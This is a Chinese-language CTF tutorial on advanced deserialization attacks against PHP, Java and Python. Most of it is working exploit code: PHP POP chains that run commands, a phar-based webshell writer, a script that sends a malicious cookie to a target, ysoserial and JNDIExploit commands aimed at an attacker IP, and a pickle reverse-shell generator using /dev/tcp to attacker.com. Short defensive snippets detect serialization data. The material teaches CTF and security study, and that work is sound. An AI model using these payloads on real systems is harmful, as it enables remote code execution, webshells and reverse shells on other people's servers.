反序列化进阶
反序列化进阶
本文适合
已掌握反序列化基本概念(序列化/反序列化、gadget chain、观察入口)的学习者。学完你能:构造 PHP/Java/Python 的 gadget chain,利用字符串逃逸和 __wakeup 绕过
PHP 反序列化 Gadget Chain
PHP 反序列化利用魔术方法构造调用链:
<?php
// 常见可利用魔术方法
// __wakeup() - 反序列化时自动调用
// __destruct() - 对象销毁时调用
// __toString() - 对象转字符串时调用
// __call() - 调用不存在方法时调用
// __get() - 读取不存在属性时调用
// __set() - 写入不存在属性时调用
// 常见 gadget 场景
class FileHandler {
public $filename;
public $content;
public function __destruct() {
// 危险: 对象销毁时写入文件
file_put_contents($this->filename, $this->content);
}
}
class Logger {
public $logFile;
public $message;
public function __destruct() {
// 危险: 对象销毁时执行系统命令
system("echo " . $this->message . " >> " . $this->logFile);
}
}
// 构造恶意序列化数据
$evil = new Logger();
$evil->logFile = "/tmp/test";
$evil->message = "; id > /tmp/output";
echo serialize($evil);
// O:6:"Logger":2:{s:7:"logFile";s:9:"/tmp/test";s:7:"message";s:22:"; id > /tmp/output";}
?># Python 构造 PHP 序列化数据
import requests
def php_serialize_exploit():
"""构造 PHP 反序列化 payload"""
# PHP 序列化格式
payload = 'O:6:"Logger":2:{s:7:"logFile";s:9:"/tmp/test";s:7:"message";s:32:"<?php system($_GET[\'cmd\']);?>";}'
# Base64 编码后发送
import base64
encoded = base64.b64encode(payload.encode()).decode()
# 发送到目标
cookies = {"data": encoded}
resp = requests.get("http://target.com/", cookies=cookies)
return resp.text
# 使用 phar:// 反序列化
def phar_deserialization(gadget_php_path, output_phar_path):
"""生成 phar 文件用于反序列化"""
# 需要在本地运行 PHP 生成 phar
php_code = """
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new FileHandler();
$obj->filename = '/var/www/html/shell.php';
$obj->content = '<?php system($_GET["cmd"]);?>';
$phar['dummy'] = 'dummy';
$phar->setMetadata($obj);
$phar->stopBuffering();
?>
"""
return php_code
# phar:// 利用
# 上传 phar 文件后,通过 phar:// 路径触发反序列化
# 例如: include("phar://uploads/exploit.phar/dummy")
# 或: file_exists("phar://uploads/exploit.phar")
# 或: fopen("phar://uploads/exploit.phar")Java 反序列化 Gadget Chain
Java 反序列化以 readObject() 为入口,常见利用链:
Commons Collections 链:
- CommonsCollections1 - CommonsCollections7
- 依赖 Apache Commons Collections 库
CommonsBeanutils 链:
- 依赖 Apache Commons Beanutils 库
Fastjson 链:
- Fastjson 反序列化 JSON 时触发
Shiro 链:
- Apache Shiro 框架的 rememberMe Cookie
Spring 链:
- Spring 框架相关 gadget# Java 反序列化工具
# ysoserial - 生成 payload
java -jar ysoserial.jar CommonsCollections1 "id" | base64
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_encoded_cmd}|{base64,-d}|{bash,-i}" | base64
# JNDI 注入
java -jar JNDIExploit.jar -i attacker_ip
# 反序列化检测
# 检查 HTTP 请求中是否有 aced0005 (Java 序列化魔数)
# Cookie 中是否有 rO0AB (Base64 编码的序列化数据)# Java 序列化数据检测
import base64
def detect_java_serialization(data):
"""检测 Java 序列化数据"""
# 原始数据检测 (hex)
magic_bytes = bytes.fromhex("aced0005")
if magic_bytes in data:
return True, "原始序列化数据"
# Base64 编码检测
try:
decoded = base64.b64decode(data)
if magic_bytes in decoded:
return True, "Base64 编码的序列化数据"
except:
pass
# 常见前缀
if data.startswith("rO0AB"):
return True, "Base64 编码的 Java 序列化对象"
return False, "未检测到"
# 使用示例
# is_serialized, msg = detect_java_serialization("rO0ABXNy...")Python Pickle 反序列化
Python pickle 本身就支持任意代码执行:
import pickle
import base64
import os
class Exploit(object):
def __reduce__(self):
# __reduce__ 方法控制反序列化时的行为
return (os.system, ('id',))
# 生成恶意 pickle
def create_malicious_pickle(command):
"""创建包含命令执行的 pickle"""
class Cmd:
def __reduce__(self):
return (os.system, (command,))
return pickle.dumps(Cmd())
# 生成 payload
payload = create_malicious_pickle("id")
encoded = base64.b64encode(payload).decode()
print(f"恶意 pickle (base64): {encoded}")
# 更复杂的 payload (反弹 shell)
def reverse_shell_pickle(lhost, lport):
"""生成反弹 shell 的 pickle payload"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
class ReverseShell:
def __reduce__(self):
return (os.system, (cmd,))
return base64.b64encode(pickle.dumps(ReverseShell())).decode()
# 使用示例
# payload = reverse_shell_pickle("attacker.com", 4444)POP 链构造思路
POP (Property-Oriented Programming) 链构造步骤:
1. 确定起点 (Source)
- 用户可控的反序列化入口
- unserialize()、pickle.loads()、readObject() 等
2. 确定终点 (Sink)
- 危险操作: 命令执行、文件读写、SQL 查询等
- system()、file_put_contents()、exec() 等
3. 寻找中间跳板 (Gadget)
- 魔术方法之间的调用关系
- 属性赋值触发的行为
- 字符串转换触发的逻辑
4. 串联调用链
- Source → Gadget1 → Gadget2 → ... → Sink# PHP POP 链分析示例
# 假设应用有以下类:
code_analysis = """
class A {
public $cmd;
public function __destruct() {
// 调用了 $this->handler->execute()
$this->handler->execute($this->cmd);
}
}
class B {
public $action;
public function execute($cmd) {
// 调用了 $this->action
call_user_func($this->action, $cmd);
}
}
// POP 链: A.__destruct() -> B.execute() -> call_user_func()
// payload: a:1:{i:0;O:1:"A":2:{s:3:"cmd";s:2:"id";s:7:"handler";O:1:"B":1:{s:6:"action";s:6:"system";}}}
"""
# 使用 phpggc 工具自动生成 payload
# php phpggc Monolog/RCE1 system id
# php phpggc Laravel/RCE1 system id反序列化漏洞扫描
# PHP - 检查危险函数
grep -rn "unserialize" /var/www/html/
grep -rn "__wakeup\|__destruct\|__toString" /var/www/html/
# Java - 检查 ysoserial 可用链
# 常见框架: Shiro, Fastjson, Spring, WebLogic, Tomcat
# Python - 检查 pickle 使用
grep -rn "pickle.loads\|pickle.load\|cPickle" /app/
grep -rn "yaml.load\|yaml.unsafe_load" /app/ # PyYAML 反序列化字符串逃逸
PHP 序列化数据中,字符串长度是硬编码的。如果能在属性名或字符串值中注入特殊字符,可以让解析器"吃掉"或"吐出"多余字符,改变后续数据的解析结构。
字符增多型逃逸:
原始:s:4:"aaaa";s:4:"test";
注入后:s:5:"aaaa";s:4:"test";
实际是 s:5:"aaaa";s" 被解析为5字节字符串,后面的内容被吞掉字符减少型逃逸:
原始:O:4:"User":1:{s:4:"name";s:5:"admin";}
如果 name 字段有长度限制(如3字节),序列化时变成:
O:4:"User":1:{s:4:"name";s:3:"adm";s:4:"role";s:5:"admin";}
注入点后的 ";s:4:"role";s:5:"admin" 逃逸出来,改变了对象属性CTF 中常见场景:用户输入经过过滤(如 addslashes)后长度变化,导致序列化数据结构被改变。关键思路是计算过滤前后字符数差值,构造恰好让注入内容对齐到合法位置的输入。
__wakeup 绕过
在 PHP 5.x - 7.0 中,__wakeup() 会在 unserialize() 时自动调用。如果 __wakeup 中有防御逻辑(如清空危险属性),需要绕过它。
经典方法:修改序列化数据中属性数量(O:N: 中的 N),使其大于实际属性数。PHP 发现属性数量不匹配时,会报错但仍会创建对象,并且不调用 __wakeup。
原始:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
绕过:O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}注意:此绕过(CVE-2016-7124)影响 PHP 5.5.0 - 7.0.10,PHP 7.0.11 起修复,修改属性数量会直接报错。PHP 7.4+ 引入了 __unserialize() 替代 __wakeup,行为更可控。
真实 CTF 案例
[CISCN 2019 华北 Day1] Web2:PHP 反序列化 + __wakeup 绕过 + POP 链构造。
关键点:
- 修改序列化数据中属性数量绕过
__wakeup - 通过
__destruct中的文件写入操作写入 webshell - POP 链:
A::__destruct→B::__toString→C::__get→ 文件写入
[0CTF 2016] piapiapia:PHP 反序列化 + 字符串逃逸。
关键点:
serialize后经过str_replace替换关键词,导致字符串长度变化- 构造输入让注入内容对齐到合法的序列化字段边界
- 修改
profile字段为flag.php的路径
[De1CTF 2019] ShellShellShell:Java 反序列化 + Commons Collections 链。
关键点:
- 识别
ac ed 00 05或rO0AB头部 - 使用 ysoserial 的 CommonsCollections1 链
- 通过
Runtime.exec执行命令
一句话判断
题目已经确认有反序列化入口,并且源码或依赖里存在可串联的魔术方法、回调、文件操作、命令执行、模板渲染或框架 gadget 时,就进入反序列化进阶。
进阶题的核心不是识别格式,而是把 source、gadget 和 sink 串成可验证调用链。
题目中常见信号
- PHP 源码里有
__destruct、__toString、__get、__call、__wakeup。 - Java 目标使用 CommonsCollections、Shiro、Spring、Fastjson、WebLogic 等依赖。
- Python 代码调用
pickle.loads、yaml.load或自定义对象恢复。 - payload 被签名、压缩、加密或放进 Cookie。
- 题目给 phar 上传点、文件函数、图片解析或
file_exists()。 - 反序列化入口存在,但单对象不能直接到危险函数,需要 POP 链。
核心概念
进阶反序列化题可以按这条链理解:
不可信对象数据
-> 反序列化入口
-> 自动触发方法
-> 属性可控
-> 中间 gadget 转发
-> 危险 sinkPHP POP 链常靠对象属性控制下一步调用;Java 常靠依赖库 gadget 触发反射或 transformer;Python pickle 则常通过 __reduce__ 指定反序列化时调用什么。
进阶题一定要能解释:为什么这个方法会自动调用,为什么这些属性可控,为什么最后能到 sink。
最小分析流程
- 找入口:
unserialize()、readObject()、pickle.loads()、phar 触发点。 - 找包装:Base64、URL 编码、签名、加密、压缩。
- 列出可用类和魔术方法。
- 从 sink 反推:命令、文件读写、模板、SSRF、SQL。
- 从 source 正推:哪些属性能由 payload 控制。
- 串联中间 gadget,画出调用链。
- 先构造无害验证,例如
id、写/tmp/poc、读取固定文件。 - 再替换成题目目标。
最小验证示例
PHP 链路先不要直接写 shell,可以验证文件写入:
class FileHandler {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}构造:
$o = new FileHandler();
$o->filename = "/tmp/poc";
$o->content = "DESERIALIZE_OK";
echo serialize($o);触发后检查 /tmp/poc 是否出现。成功后再把目标换成 Web 目录或 flag 读取路线。
Java 链路先验证命令是否执行:
java -jar ysoserial.jar CommonsCollections5 "id" | base64 -w0如果服务端没有回显,命令可改成:
curl http://attacker/ping用外带请求证明链路执行。
常见利用 / 解题路线
路线总览:
路线一:PHP POP 链
__destruct / __toString 起点
-> 属性控制对象或函数名
-> call_user_func / file_put_contents / include
-> 读文件、写 shell 或命令执行路线二:PHP 字符串逃逸
适合序列化前后有过滤、替换或长度变化。
计算长度差 -> 构造吞吐边界 -> 注入新属性 -> 改 role/file/path路线三:phar 反序列化
适合能上传文件,且目标调用 file_exists、getimagesize、fopen 等文件函数。
生成 phar metadata -> 上传伪装图片 -> phar:// 路径触发 -> metadata 反序列化路线四:Java ysoserial
适合已知依赖和 Java 序列化入口。
识别 rO0AB/ac ed 00 05 -> 猜依赖 -> ysoserial 生成 -> 编码包装 -> 外带验证路线五:Python pickle / YAML
适合服务端直接加载不可信 pickle 或 unsafe YAML。
__reduce__ / python/object/apply -> 无害命令验证 -> 读取目标或反弹连接常见失败原因
- 只套工具链不看依赖:目标没有对应库时 ysoserial/phpggc 链不会触发。
- 魔术方法触发点判断错:
__toString需要对象被当字符串使用,__destruct要等对象销毁。 - 属性可见性写错:PHP private/protected 属性序列化名有特殊前缀。
- 长度计算错:字符串逃逸中
s:N:"..."的 N 必须和字节数一致。 - 版本不匹配:
__wakeup绕过、phar 行为和框架 gadget 都依赖版本。 - 签名未处理:Cookie 验签失败时根本不会进入反序列化。
- 命令无回显误判失败:优先用写文件或 HTTP 外带验证执行。
迷你案例
题目源码:
class A {
public $handler;
public $cmd;
function __destruct() {
$this->handler->run($this->cmd);
}
}
class B {
public $func;
function run($x) {
call_user_func($this->func, $x);
}
}
unserialize(base64_decode($_COOKIE["data"]));链路:
Cookie data
-> base64_decode
-> unserialize
-> A::__destruct
-> B::run
-> call_user_func("system", "id")构造思路:
$b = new B();
$b->func = "system";
$a = new A();
$a->handler = $b;
$a->cmd = "id";
echo base64_encode(serialize($a));如果页面或外带证明 id 执行,再把命令换成题目目标。WP 中要画出调用链,不只贴最终 Cookie。
做题时的归类问题
- 需要构造 gadget chain 利用已有类,先回到 反序列化进阶。
- 需要绕过
__wakeup防御,先回到 反序列化进阶。 - 需要利用字符串逃逸改变序列化结构,先回到 反序列化进阶。
- 需要利用 phar:// 协议触发反序列化,先回到 反序列化进阶。
- 需要使用 ysoserial 生成 Java payload,先回到 反序列化进阶。
- 需要构造 Python pickle
__reduce__利用,先回到 反序列化进阶。